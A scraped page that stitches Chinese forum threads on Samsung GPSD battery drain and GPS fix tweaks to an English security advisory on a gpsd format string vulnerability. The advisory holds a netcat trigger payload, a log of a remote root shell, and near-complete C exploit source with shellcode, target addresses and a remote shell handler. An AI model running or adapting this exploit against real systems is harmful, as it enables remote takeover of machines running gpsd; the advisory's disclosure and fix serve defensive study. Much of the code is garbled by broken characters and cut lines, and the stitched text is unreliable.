手机不root 怎么改三星s4 gpsd耗电

今日论坛第 1 个签到,每日签到可得财富值+2,连续5天签到后再连续签到则每日可得财富值
+4,记得每天都来签到哦~
上一主题:
下一主题:
查看: 7047 | 回复: 9
GPSD耗电的问题能彻底解决吗?
交易信用 0
积分/帖子:56
连续签到天数:0
全部签到天数:0
注册时间:
手机型号:
状态: 离线
GPSD耗电的问题能彻底解决吗?
一晚上耗电50%,开了飞行模式也没用,为这事苦恼呢
财富值 45557
贡献值 271
好评度 228
交易信用 0
人气值 1795
荣誉卸任管理组
积分/帖子:10999
连续签到天数:1
全部签到天数:503
注册时间:
手机型号:
i9300,MI2
来自:辽宁辽阳
状态: 离线
限制下后台,是不是开的程序太多了
交易信用 0
积分/帖子:56
连续签到天数:0
全部签到天数:0
注册时间:
手机型号:
状态: 离线
回复 #2 孽灭、 的帖子
后台也没开什么,每次早上起来看电池信息就是显示GPSD耗电很高
财富值 252
交易信用 0
积分/帖子:281
连续签到天数:2
全部签到天数:2
注册时间:
手机型号:
I9300 GALAXY SIII
状态: 离线
过几天就没了吧,我的也是,过几个月就有3到4天特别费电,过了就没事了
(s3/s4/5s)
财富值 44488
贡献值 192
好评度 182
交易信用 2
人气值 1435
荣誉卸任管理组
积分/帖子:8089
连续签到天数:3
全部签到天数:812
注册时间:
手机型号:
状态: 离线
貌似是GPS的进程,关闭就可以了
UID 5851619
财富值 297
交易信用 0
积分/帖子:207
连续签到天数:1
全部签到天数:33
注册时间:
手机型号:
状态: 离线
每个月总有几天?...额
财富值 665
交易信用 0
积分/帖子:533
连续签到天数:1
全部签到天数:1
注册时间:
手机型号:
状态: 离线
请问你机有无安装谷歌服务的软件?
UID 2998544
交易信用 0
积分/帖子:3
连续签到天数:0
全部签到天数:0
注册时间:
手机型号:
状态: 离线
换个rom刷刷看咯
财富值 1171
交易信用 0
人气值 110
积分/帖子:572
连续签到天数:1
全部签到天数:9
注册时间:
手机型号:
状态: 离线
楼主,其实这个问题你完全不用担心!楼主之所以出现这个问题,肯定是楼主在问题出现当天手机漫游到号码归属地之外了对吧!这个问题的解决办法就是把手机关机重启,然后进任务管理器清理一下进程(如果有地图之类的进程也一并关掉),再次开机重启,我想楼主问题就这么解决了吧!
交易信用 0
积分/帖子:307
连续签到天数:6
全部签到天数:19
注册时间:
手机型号:
状态: 离线
*** 作者被禁止或删除 内容自动屏蔽 ***
微信扫一扫关注dospy查看: 21569|回复: 99
最后登录16/1/18注册时间12/9/20阅读权限100积分19745精华0帖子金币57766 枚91币0 枚
钻石: 0 颗
人气: 0 次
金币: 57766 个
发表于 14/1/6 18:17:35
本帖最后由 行云孤狼 于
18:18 编辑
三星Note3 GPS定位太慢怎么办?Note3 GPS定位慢有什么好的解决方法?我们都知道Galaxy Note3支持GPS,同时支持A-GPS网络辅助导航功能。对于Note3 GPS定位慢问题,有大神说这是AGPS的问题,尤其是在WIFI情况下AGPS信息错误导致GPS锁死。
如果你也遇到了同样的问题,你可以来参考一下下面的三星Note3 GPS改善教程。解决方法如下:& && &&&  
一、不想ROOT的办法
& && &&&  1、进入 设置--连接--定位服务--AGPS功能设置--选择不使用AGPS
& && &&&  2、关闭WiFi
& && &&&  这时GPS工作在纯靠GPS芯片定位状态,冷启动状态下1-2分钟定位,第一次定位后从各种地图或导航软件再次定位时基本都是20秒内定位。再也不会有20分钟不能定位的情况。
二、ROOT后替换文件
& && &&&  这种ROOT方法不影响保修,换机。
& && &&&  1、用RE文件管理器删除 /system/etc 下 gps_cmcc.conf 文件
& && &&&  2、用附件gps.conf 替换 /system/etc 下 gps.conf 文件
& && &&&    游客,如果您要查看本帖隐藏内容请
& && &&&  3、进入 设置--连接--定位服务--GPS时间同步 设定关闭(将勾去掉),这一步十分重要,否则无法定位。
& && &&&  4、重启机器,享受GPS秒定及室内定位!
& && &&&  注意:定位时一定要开启 移动数据!
帖子永久地址:&<button type="submit" class="pn" onclick="setCopy('三星Note3 GPS定位太慢?Note3 GPS改善教程\n/thread--1.html', '帖子地址已经复制到剪贴板您可以用快捷键 Ctrl + V 粘贴到 QQ、MSN 里。')">推荐给好友
? 官方QQ群:
? 统一验证信息:
? 群名片:机型+论坛昵称(例:三星-西门小官人 )
最后登录16/1/18注册时间12/6/14阅读权限50积分7357精华0帖子金币18978 枚91币0 枚
Lv:6, 积分 7357, 距离下一级还需 12643 积分
钻石: 0 颗
人气: 3 次
金币: 18978 个
发表于 14/1/6 18:37:51
楼主给力,91有你更精彩
最后登录14/1/9注册时间14/1/8阅读权限5积分3精华0帖子金币42 枚91币0 枚
Lv:1, 积分 3, 距离下一级还需 27 积分
钻石: 0 颗
人气: 0 次
金币: 42 个
发表于 14/1/8 22:28:15
最后登录14/1/9注册时间14/1/8阅读权限5积分3精华0帖子金币42 枚91币0 枚
Lv:1, 积分 3, 距离下一级还需 27 积分
钻石: 0 颗
人气: 0 次
金币: 42 个
发表于 14/1/8 22:28:42
<font color="#用户 发表于
最后登录14/1/9注册时间14/1/8阅读权限5积分3精华0帖子金币42 枚91币0 枚
Lv:1, 积分 3, 距离下一级还需 27 积分
钻石: 0 颗
人气: 0 次
金币: 42 个
发表于 14/1/8 22:29:12
<font color="#用户 发表于
最后登录14/1/27注册时间14/1/27阅读权限5积分2精华0帖子金币34 枚91币0 枚
Lv:1, 积分 2, 距离下一级还需 28 积分
钻石: 0 颗
人气: 0 次
金币: 34 个
发表于 14/1/27 00:38:08
最后登录14/2/11注册时间14/2/11阅读权限5积分10精华0帖子金币44 枚91币0 枚
Lv:1, 积分 10, 距离下一级还需 20 积分
钻石: 0 颗
人气: 0 次
金币: 44 个
发表于 14/2/11 16:36:23
最后登录14/3/4注册时间14/3/1阅读权限5积分2精华0帖子金币35 枚91币0 枚
Lv:1, 积分 2, 距离下一级还需 28 积分
钻石: 0 颗
人气: 0 次
金币: 35 个
发表于 14/3/4 16:15:28
最后登录14/3/17注册时间14/3/17阅读权限5积分0精华0帖子金币47 枚91币0 枚
Lv:1, 积分 0, 距离下一级还需 30 积分
钻石: 0 颗
人气: 0 次
金币: 47 个
发表于 14/3/18 00:17:02
谢谢 我尝试一下
最后登录14/3/19注册时间14/3/19阅读权限5积分0精华0帖子金币35 枚91币0 枚
Lv:1, 积分 0, 距离下一级还需 30 积分
钻石: 0 颗
人气: 0 次
金币: 35 个
发表于 14/3/19 09:09:48
s4 gps一直不能定位
经常参与各类话题的讨论(发帖数达200以上)
经常在论坛发帖,且发帖量较大(发帖量1000以上)
在论坛拥有一定人气(人气100以上)
91手机论坛版主专用勋章!
GMT+8, 16/1/19 12:59
Powered by当前位置:
& 三星Note3 GPS定位太慢怎么办 三星Note3 GPS改善教程
三星Note3 GPS定位太慢怎么办 三星Note3 GPS改善教程
13:47|编辑:谜团|来源:265G安卓网
许多人抱怨三星Note3 GPS定位超级慢,一直都没有什么很好的解决方法。许多朋友问我怎么办,我特意去请教了三星民间大神,其实这是AGPS的问题。尤其是在wifi情况下AGPS信息错误导致的GPS锁死。小编现在总结了三星Note3 GPS定位慢的方法,希望能给大家一些帮助。
解决方法如下:
一、不想root的办法
1、进入 设置--连接--定位服务--AGPS功能设置--选择不使用AGPS
2、关闭WiFi
这时GPS工作在纯靠GPS芯片定位状态,冷启动状态下1-2分钟定位,第一次定位后从各种地图或导航软件再次定位时基本都是20秒内定位。再也不会有20分钟不能定位的情况。
二、root后替换文件
1、root ,没有ROOT的可以参考我们的三星Note3 ROOT教程:。
这种root方法不影响保修,换机。
2、用RE文件管理器删除 /system/etc 下 gps_cmcc.conf 文件
3、用附件 gps.conf 替换 /system/etc 下 gps.conf 文件
4、进入 设置--连接--定位服务--GPS时间同步 设定关闭(将勾去掉),这一步十分重要,否则无法定位。
5、重启机器,享受GPS秒定及室内定位!
注意:定位时一定要开启 移动数据!
gps.conf下载地址:
关注265G安卓网官方微信获取第一手数码资讯;也可以关注
官方微博,与小伙伴们交流玩机心得。
用微信扫描上方二维码,或搜索微信号anzhuo265g关注265G安卓网微信公众平台。
用微博客户端扫描上方二维码,或搜索关注本站官方微博。也可点击按钮一键关注:
扫描加入265G安卓网微信公众平台,第一时间获取智能手机资讯。
作为魅族年度最重磅的一款产品,魅族Pro5拥有极为强悍的配置,外观做工也相当不错,不过在拍照和系统体验方面还需要一些改进。
是游戏网推出的一款专门为热衷手机网游用户量身定制的游戏助手。gpsd Format String Vulnerability
Brought to you by:
Suppliers of:
Subjects of Interest:
is "a service daemon that monitors a GPS attached to a host computer through a serial or USB port, making its data on the location/course/velocity of the sensor available to be queried on TCP port 2947 of the host computer".
A format string vulnerability in gpsd allows remote attackers to cause the program to execute arbitrary code.
The information has been provided by .
The original article can be found at:
Detect web app vulnerabilities
University study comparing the top
Accurate and automated scanning
Get guidance from professionals.
6 commercially availble fuzzers.
for networks of any size.
Protect your website!
Free Trial, Nothing to install.
No interruption of visitors.
Vulnerable Systems:
&* gpsd version 1.9.0 through version 2.7
The format string issue is in the gpsd_report() funciton. syslog() is used without a format specifier multiple times in gpsd.c.
./gpsd.c: syslog(LOG_ERR, buf);
./gpsd.c: syslog(LOG_NOTICE, buf);
and more recently :
./gpsd.c: syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);
There are very few gpsd_report() calls that contain "%s" and only one is an exploitable instance.
./gpsd.c: gpsd_report(1, "&= client: %s", buf);
Here is a sample run at triggering the vulnerability.
[root@threat gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0
[root@threat gpsd-2.0]# tail -f /var/log/messages
Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947
[root@threat gpsd-2.0]# nc localhost 2947
AAAABBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1
The above netcat session generated the following Syslog messages.
Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at /dev/ttyS0
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no parity
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)
Sep 19 13:00:08 threat gpsd[9420]: gpsd: &= client:
AAAABBBBfefdf8fd3c203a696c2578
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS
From here you are dealing with a classic format string exploit.
Successful exploitation on a RedHat box gets you root, and on Debian you get uid=gpsd gid=dialout.
jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[*] Executed shell successfully !
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST
athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit
To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls. This may break existing gpsd_report() functionality. When the author(s) gets around to checking email and or reading the bug entries a new version will come out. This work around is strictly to prevent exploitation.
syslog(LOG_ERR, "%s", buf);
syslog(LOG_NOTICE, "%s", buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, "%s", buf);
Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the project via email were made. no response.
01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala syslog() was filed. no response.
&** Copyright Johnh and KF 2005
&** Gpsd remote format string exploit
&** By: Johnh[at]digitalmunition[dot]com
&** Bug Found By: kf[at]digitalmunition[dot]com
&** /DMA[a].txt
&** Features: Version ident
&** Debian machines provide uid=gpsd
&** Redhat machines provide uid=root
&** Lots of JUMP_SLOT's provided but
&** You can get or brute the shellcode
&** addresses yourself.
#include &stdio.h>
#include &unistd.h>
#include &sys/types.h>
#include &sys/socket.h>
#include &netinet/in.h>
#include &netinet/tcp.h>
#include &arpa/inet.h>
#include &netdb.h>
#include &stdlib.h>
#include &errno.h>
#include &string.h>
#include &assert.h>
#include &fcntl.h>
#include &sys/time.h>
#define GPSD_PORT 2947
void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);
&&&& /* retloc of syslog */
&&&&char *szD
}targets[] =
&&&&&&&&// Brute the rest of the addresses your self...
&&&&&&&&// syslog() , shellcode , version
&&&&&&&&{0xx, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
&&&&&&&&{0xx, "gpsd-1.92-1.i386.rpm"},
&&&&&&&&{0xx, "gpsd-1.93-1.i386.rpm"},
&&&&&&&&{0xx, "gpsd-1.94-1.i386.rpm"},
&&&&&&&&{0xx, "gpsd-1.95-1.i386.rpm"},
&&&&&&&&{0xx, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
&&&&&&&&{0xx, "gpsd-1.97-1.i386.rpm"},
&&&&&&&&{0x,0x, "gpsd-2.1-1.i386.rpm"},
&&&&&&&&{0x,0x, "gpsd-2.2-1.i386.rpm"},
&&&&&&&&{0xxbfffd661, "gpsd-2.3-1.i386.rpm"},
&&&&&&&&{0x,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
&&&&&&&&{0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
&&&&&&&&{0xxbffff100, "gpsd-2.6-1.i386.rpm"},
&&&&&&&&{0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
&&&&&&&&{0x,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
&&&&&&&&{0x,0xbfffc818, "gpsd_2.7-1_i386.deb"},
&&&&&&&&{0xxbfffee70, "gpsd_2.7-2_i386.deb"},
&&&&&&&&{0xxbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
&&&&&&&&{0xxbfffd7d6, "Slackware 9.0 compiled 2.0"
&&&&&&&&{0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7 "},
&&&&&&&&{0xxdeadbeef, "Debug "},
char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";
//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
&&&&int sock,
&&&&pe = 0;
&&&&size_t pe_
&&&&struct sockaddr_
&&&&struct hostent* hp = NULL;
&&&&// reslov hosts
&&&&hp = gethostbyname (host);
&&&&if (NULL == hp) {
&&&&&&&&perror ("tcpConnect:gethostbyname\n");
&&&&&&&&return -1;
&&&&sock = socket (AF_INET, SOCK_STREAM, 0);
&&&&if (-1 == sock) {
&&&&&&&&perror ("tcpConnect:socket\n");
&&&&&&&&return -1;
&&&&addr.sin_addr = *(struct in_addr *) hp->h_
&&&&addr.sin_family = AF_INET;
&&&&addr.sin_port = htons (port);
&&&&/* set socket no block
&&&&flag = fcntl (sock, F_GETFL);
&&&&if (-1 == flag) {
&&&&&&&&perror ("tcpConnect:fcntl\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&flag |= O_NONBLOCK;
&&&&if (fcntl (sock, F_SETFL, flag) & 0) {
&&&&&&&&perror ("tcpConnect:fcntl\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&if (connect (sock, (const struct sockaddr *) &addr,
&&&&&&&&&&&&&&&&&sizeof(addr)) & 0 &&
&&&&&&&&&&&&errno != EINPROGRESS) {
&&&&&&&&perror ("tcpConnect:connect\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&/* set connect timeout
&&&&&* use millisecond
&&&&tv.tv_sec = timeout/1000;
&&&&tv.tv_usec = timeout%1000;
&&&&FD_ZERO (&rset);
&&&&FD_SET (sock, &rset);
&&&&if (select (sock+1, &rset, &rset, NULL, &tv) &= 0) {
&&&&&&&&// perror ("tcpConnect:select");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&pe_len = sizeof (pe);
&&&&if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) & 0) {
&&&&&&&&perror ("tcpConnect:getsockopt\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&if (pe != 0) {
&&&&&&&&errno =
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) & 0) {
&&&&&&&&perror ("tcpConnect:fcntl\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
&&&&pe = 1;
&&&&pe_len = sizeof (pe);
&&&&if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) & 0){
&&&&&&&&perror ("tcpConnect:setsockopt\n");
&&&&&&&&close (sock);
&&&&&&&&return -1;
void sh(int st_sock_va)
&&&&char *command="uname -a; export TERM=vt100; exec bash -i\n";
&&&&char readbuf[1024];
&&&&memset((char *)readbuf,0,sizeof(readbuf));
&&&&fprintf(stdout,"[*] Executed shell successfully !\n\n");
&&&&send(st_sock_va,command,strlen(command),0);
&&&&for(;;)
&&&&&&&&fflush(stdout);
&&&&&&&&FD_ZERO(&rset);
&&&&&&&&FD_SET(st_sock_va,&rset);
&&&&&&&&FD_SET(STDIN_FILENO,&rset);
&&&&&&&&select(st_sock_va+1,&rset,NULL,NULL,NULL);
&&&&&&&&if(FD_ISSET(st_sock_va,&rset))
&&&&&&&&&&&&died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
&&&&&&&&&&&&if(died&=0)
&&&&&&&&&&&&&&&&exit(0);
&&&&&&&&&&&&readbuf[died]=0;
&&&&&&&&&&&&fprintf(stdout,"%s",readbuf);
&&&&&&&&if(FD_ISSET(STDIN_FILENO,&rset))
&&&&&&&&&&&&died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
&&&&&&&&&&&&if(died>0)
&&&&&&&&&&&&{
&&&&&&&&&&&&&&&&readbuf[died]=0;
&&&&&&&&&&&&&&&&write(st_sock_va,readbuf,died);
&&&&&&&&&&&&}
&*check the \x00 byte
int checkZero (long value)
&&&&return !((value & 0x00ffffff) &&
&&&&&&&&&&&&&(value & 0xff00ffff) &&
&&&&&&&&&&&&&(value & 0xffff00ff) &&
&&&&&&&&&&&&&(value & 0xffffff00));
&* put a address in mem, for little-endian
putLong (char* ptr, long value)
&&&&*ptr++ = (char) (value >> 0) & 0
&&&&*ptr++ = (char) (value >> 8) & 0
&&&&*ptr++ = (char) (value >> 16) & 0
&&&&*ptr++ = (char) (value >> 24) & 0
int main (int argc, char **argv)
&&&&int c, sock,
&&&&char *hostName = NULL;
&&&&if (argc & 3) {
&&&&&&&&usage (argv[0]);
&&&&&&&&return -1;
&&&&while((c = getopt(argc, argv, "h:t:")) != EOF) {
&&&&&&&&switch(c) {
&&&&&&&&case 'h':
&&&&&&&&&&&&hostName =
&&&&&&&&&&&&
&&&&&&&&case 't':
&&&&&&&&&&&&iType = atoi (optarg);
&&&&&&&&&&&&
&&&&&&&&default:
&&&&&&&&&&&&usage (argv[0]);
&&&&&&&&&&&&return 0;
if (argc & 2) { usage(argv[0]); exit(1); }
&&&&if( (iType&0) || (iType>=sizeof(targets)/sizeof(v)) )
&&&&&&&&usage(argv[0]);
&&&&&&&&printf("[-] Invalid type.\n");
&&&&&&&&return 0;
&&&&printf ("# remote host %s. \n", hostName);
&&&&sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
&&&&printf("Checking Remote version\n");
&&&&check_version(sock);
&&&&own_gpsd (sock,iType);
&&&&close(sock);
&&&&sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
&&&&printf("[+] Trying to exec shellcode on remote\n");
&&&&exec_shellcode(sock);
&&&&printf("[-] Waiting 5 seconds to connect to remote shell\n");
&&&&sleep (5);
&&&&if ((ret = new_tcpConnect (hostName, )) & 0) {
&&&&&&&&fprintf (stderr, "[-] failed :& \n");
&&&&printf ("[+] yes! \n");
&&&&sh (ret);
&&&&close (ret);
&&&&return 0;
int own_gpsd(int sock,int iType)
&&&&int offset = 0x11;
&&&&int dump_fmt=7;
&&&&int al = 3;
&&&&int hi,
&&&&unsigned long shift0,shift1;
&&&&char buf[90000];
&&&&char fun[256];
&&&&char *
&&&&/* check zero byte */
&&&&if (checkZero (targets[iType].retloc) || checkZero (targets[iType].retloc+2) ) {
&&&&&&&&printf (" &\n");
&&&&&&&&exit (1);
&&&&hi = (targets[iType].retaddr >> 0) & 0
&&&&lo = (targets[iType].retaddr >> 16) & 0
&&&&shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
&&&&shift1 = (0x10000 + lo) -
&&&&memset(buf,0x41,3);
&&&&ptr = buf+3;
&&&&ptr = putLong (ptr, 0x);
&&&&ptr = putLong (ptr, targets[iType].retloc);
&&&&ptr = putLong (ptr, 0x);
&&&&ptr = putLong (ptr, targets[iType].retloc+2);
&&&&for (x=0;x&dump_x++)
&&&&&&&&strcat(ptr,"%.8x");
&&&&strcat(ptr,"%.");
&&&&sprintf(ptr+strlen(ptr),"%u",shift0);
&&&&strcat(ptr,"lx%hn");
&&&&strcat(ptr,"%.");
&&&&sprintf(ptr+strlen(ptr),"%u",shift1);
&&&&strcat(ptr,"lx%hn");
&&&&x = strlen(ptr);
&&&&memset(ptr+x,0x90,3000);
&&&&x+=3000;
&&&&memcpy(ptr+x,shellcode,337);
&&&&x+=337;
&&&&printf ("# send exploit data. \n");
&&&&sleep(1);
&&&&ret = send (sock, buf, x, 0);
&&&&printf ("[*] data sent %d bytes .\n", x);
&&&&memcpy(fun,"l\n",2);
&&&&ret = send (sock, fun, 2, 0);
&&&&printf ("[*] data sent %d bytes .\n", ret);
&&&&return 0;
//Had to connect to remote and send a string to make shellcode execute. No idea why. but it works so :)
int exec_shellcode(int sock) {
&&&&char fun[256];
&&&&memcpy(fun,"l\n",2);
&&&&ret = send (sock, fun, 2, 0);
&&&&printf ("[*] data sent %d bytes .\n", ret);
&&&&return 0;
//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)
//When the vendor changes the code you can change this to detect a vuln/non vuln version
int check_version(int sock) {
&&&&&&&&char *
&&&&&&&&char buf_ver[256];
&&&&&&&&char recv_buf[256];
&&&&&&&&memcpy(buf_ver,"l\n",2);
&&&&&&&&ret = send (sock, buf_ver, 2, 0);
&&&&&&&&ret = recv(sock,recv_buf,sizeof(recv_buf),0);
&&&&&&&&version = strtok(recv_buf," ");
&&&&&&&&version = strtok(NULL," ");
&&&&&&&&printf("GPSD VERSION: %s\n",version);
int usage(char *p)
&&&&printf( "Gpsd &= 2.7 remote formatstring exploit\r\nBy: \r\n");
&&&&printf( "Usage: %s &-h host> &-t target>\n"
&&&&&&&&&&&&"[type]\t[Description]\t\t\t[Retloc]\n", p);
&&&&for(i=0;i&sizeof(targets)/sizeof(v);i++)
&&&&&&&&printf("%d\t%s\t\t0x%08lx\n", i, targets[i].szDescription,targets[i].retloc);
&&&&return 0;
Please enable JavaScript to view the
Copyright &
All rights reserved.
SecuriTeam&#153; is a trademark of Beyond Security&}

我要回帖

更多关于 gpsd指令 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信